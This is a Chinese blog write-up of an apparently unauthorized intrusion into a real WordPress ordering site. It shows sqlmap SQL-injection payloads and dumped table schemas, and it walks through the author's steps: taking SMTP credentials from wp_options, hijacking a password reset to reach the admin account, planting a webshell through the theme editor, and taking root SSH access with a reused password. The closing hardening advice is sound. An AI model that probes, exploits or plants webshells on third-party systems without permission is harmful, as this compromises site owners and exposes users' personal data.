Featured image of post 我是如何从一个简单 SQL 注入沦陷整个 WordPress 站点的

我是如何从一个简单 SQL 注入沦陷整个 WordPress 站点的

涉及对 Wordpress 机制的深入理解,包括 wp_options 表的研究、找回密码的实现方式及破解技巧等

======更新=======

联系了站长,站长已经修复了漏洞。

======原文=======

开始渗透是晚上 11 点,写这篇文章的时候是晚上 12 点吧。精力充沛(不)

整个渗透过程我都会像写小说一样写(x 但是真实性可以保证 qwq)

0

晚上拿手机翻到了这个网站,之前也有耳闻(似乎挺出名)。然后看到了他的下单系统,里面有个查看所有订单,随手加了个单引号——

0

然后就谜一样的全出来了:

0

同时,我在下单的页面也发现了 get 类型 sql 注入漏洞:

0

现在有这种漏洞的网站不多了,于是赶紧开电脑。

对了别忘了信息采集!

0

0

是 oneinstack 搭建的环境,phpmyadmin 暴露无遗。

把刚才那个注入点丢到 sqlmap 里面去扫。发现是管理员的权限:

0

那就直接–os-shell 试下吧,结果失败。尝试读文件、写文件,统统失败,不知道是不是权限问题:

0

思路到这里就暂时断了。不过先爆破一下表吧,看见有这几个表可以利用:

Parameter: huashi (GET)

​ Type: boolean-based blind

​ Title: AND boolean-based blind - WHERE or HAVING clause

​ Payload: huashi=1’ AND 4698=4698 AND ‘zlau’=‘zlau

​ Type: error-based

​ Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)

​ Payload: huashi=1’ OR (SELECT 5007 FROM(SELECT COUNT(*),CONCAT(0x71626a7871,(SELECT (ELT(5007=5007,1))),0x7178717871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND ‘apPr’=‘apPr

​ Type: AND/OR time-based blind

​ Title: MySQL >= 5.0.12 AND time-based blind

​ Payload: huashi=1’ AND SLEEP(5) AND ’tNqm’=‘tNqm

​ Type: UNION query

​ Title: Generic UNION query (NULL) - 4 columns

​ Payload: huashi=1’ UNION ALL SELECT NULL,CONCAT(0x71626a7871,0x5578654b6a61507555684875587264414663466a486b72516b56534d554877574a75646a6f667871,0x7178717871),NULL,NULL– CvsI

-–

web application technology: Apache

back-end DBMS: MySQL >= 5.0

Database: CCS

Table: xiadan_huashi

[4 columns]

+——–+————-+

| Column | Type |

+——–+————-+

| huashi | varchar(64) |

| id | int(4) |

| price | int(4) |

| qq | bigint(13) |

+——–+————-+

Database: CCS

Table: xiadan_old

[10 columns]

+———–+————–+

| Column | Type |

+———–+————–+

| date | datetime |

| huashi | varchar(120) |

| id | int(11) |

| ip | varchar(16) |

| message | text |

| paymethod | varchar(120) |

| phone | varchar(16) |

| price | varchar(32) |

| qq | varchar(13) |

| state | char(14) |

+———–+————–+

Database: CCS

Table: joinccs

[6 columns]

+——–+————-+

| Column | Type |

+——–+————-+

| time | datetime |

| email | varchar(96) |

| name | varchar(96) |

| pass | varchar(32) |

| qq | varchar(96) |

| studio | varchar(96) |

+——–+————-+

Database: CCS

Table: xiadan

[9 columns]

+———–+————–+

| Column | Type |

+———–+————–+

| date | datetime |

| huashi | varchar(120) |

| id | int(11) |

| ip | varchar(16) |

| message | text |

| paymethod | varchar(120) |

| price | varchar(32) |

| qq | varchar(13) |

| state | char(14) |

+———–+————–+

Database: CCS

Table: trans

[5 columns]

+———+————-+

| Column | Type |

+———+————-+

| id | int(3) |

| ip | varchar(18) |

| message | text |

| phone | varchar(13) |

| qq | varchar(13) |

+———+————-+

Database: CCS

Table: xiadan_reg

[5 columns]

+——–+————–+

| Column | Type |

+——–+————–+

| date | datetime |

| email | varchar(127) |

| name | varchar(127) |

| qq | bigint(13) |

| state | varchar(16) |

+——–+————–+

爆出来一大堆个人数据,有的还包括手机号,但都没有密码之类的,就没法利用了:

0

然后怎么办呢?

既然我已经可以随便读取数据库,可不可以直接读取管理员账号密码呢?

0

图中这两个账户,经过 wp_usermeta 表的查看,是管理员账户。就是说等下我下手的目标应该是这两个账户。

但要知道 wordpress 的密码是通过玄学加密的,破解几乎无望。

那么不可以通过重置密码的手段呢?通过 wp 发送邮件,之后数据库肯定会存一个重置密码的 key 吧,盗用这个 key 就行了。这方法之前也没体验过。

然后看到 wp 文档里面对于这个密码重置函数的解释(https://developer.wordpress.org/reference/functions/get_password_reset_key/):

0

可以看到最新版 wp 插入到数据库里面的是 hash 了的 key,所以没法盗用。2013 年之前好像插入的是明文 key,现在应该修正了。

之后思路又断了。还是继续从表中挖掘出点线索吧。由于最近开发过 wp 插件,了解到 wp_options 是个很重要的表,我就导出这个表看看有没有啥可以利用的。在导出的数据里面搜索 pass 这几个字:

0

woc,这不是 smtp 链接服务器吗。我可以利用这个账户([email protected])登录到邮件系统,然后在前台通过 wp 发送重置密码的邮件后,在这个邮件系统的“已发送”里面获取到明文的 key!

从 smtp 域名可以看出是阿里云的企业邮箱。用这个账户尝试登录,但都是登录失败。怎么可能会这样呢?

又尝试社工套路,用这个密码作为 root 密码登录 phpmyadmin,也是失败。

然后又过了好久,还是接着看这张表的内容吧。往后翻又发现了一个 smtp 的设置处:

0

这个密码和之前的是一样的,只不过登录名不一样([email protected])。

用这个账户登录邮箱,居然就登录进去了:

0

出现这种情况的原因应该是 wordpress 使用了某些 smtp 的插件,然后导致站点没使用 wp 自带的设置,而是使用插件的设置。后来可能发件信息也改过,但 wp 自带的设置里面就没有即使更新了。

OK,现在在后台登录的地方重置密码吧。

0

原则上应该会在 wp-admin 这个目录由 wp 自带的系统完成重置密码的操作,但在这里却跳转到一个前台页面,输入一个管理员账户名点重置密码后显示“密码重置邮件已经送出”的字眼,但被我控制的那个 smtp 服务器已发送归档里面并没有显示此邮件,基本可以判定邮件没有发出。

这种情况估计就是所用的主题篡改了部分 wp 原生的用户系统,采用主题自己的系统来处理。结果这个主题的系统又有 bug。。。

但 wp 原生的重置密码还是可以通过非前台手段调用的,这里我用 hackbar 这个插件直接发送 post 包来重置密码:

0

发送之后,界面显示密码重置邮件已发送。与此同时在邮箱里面也显示了这封“千呼万唤始出来”的邮件:

0

通过链接重置密码,然后登陆到仪表盘:

0

但是把密码给人家改了肯定要再改回去吧。

那么我就先 getshell。在主题编辑里面留个一句话:

0

然后用菜刀连接(由于我这里是 mac,就用中国蚁剑):

0

OK,至此已经完全控制了此虚拟主机。

在 wp-config.php 里面可以看到 mysql 数据库的账户密码:

0

用户名不是 root,是【打码】。密码是邮件密码全部改成小写。。。

为啥刚才我没想到?

用这个账户登录 phpmyadmin,刚才我 dump 了 wp_users 表里面的密码 hash,给他改回去:

0

OK,到这里整个渗透过程就差不多完成了。

但是别急啊,咱再用刚才那个邮箱密码 ssh 到服务器试试!

0

真见鬼,一下子就登上了。。。。

可见此网站安全防护相当差。启用 root 账户登录不说,还没使用密钥登录;没用密钥登录不说,密码还用的这么“社工 able”。。。

由于是京东国内云,就不敢再深入研究或者搞什么内网漫游了,exit 掉,咱不干坏事。

还是通知站长修复吧。

给站长(们)的建议:

1.防注入编程,尽量避免出现这么严重的漏洞,如果实在搞不定可以试下安全狗。程序里面个人信息要加密,现在网络安全法指出如果站点个人信息泄露了,站长要被请喝茶的。

2.不要使用弱密码、易社工密码,定期更换密码。不同架构平台(mysql、wordpress、ssh、邮箱)等使用不同的密码,而且要别人知道你一个密码绝对猜不出你的其他密码那种。

3.ssh 禁止 root 账户、禁止密码登录,采用密钥登录。

4.加固安全措施,比如邮箱、手机报警。启用系统日志并定期检查。

5.mysql 一个站点用一个账户,不要一个 root 权限的账户满大街用。

6.oneinstack 这类程序安装之后要删除或移动 default 站点,不要让人一下就访问到 phpmyadmin 这样重要的程序。

7.一定要用脚本或者什么的每日备份,不是所有渗透都是善意的。

Licensed under CC BY-NC-SA 4.0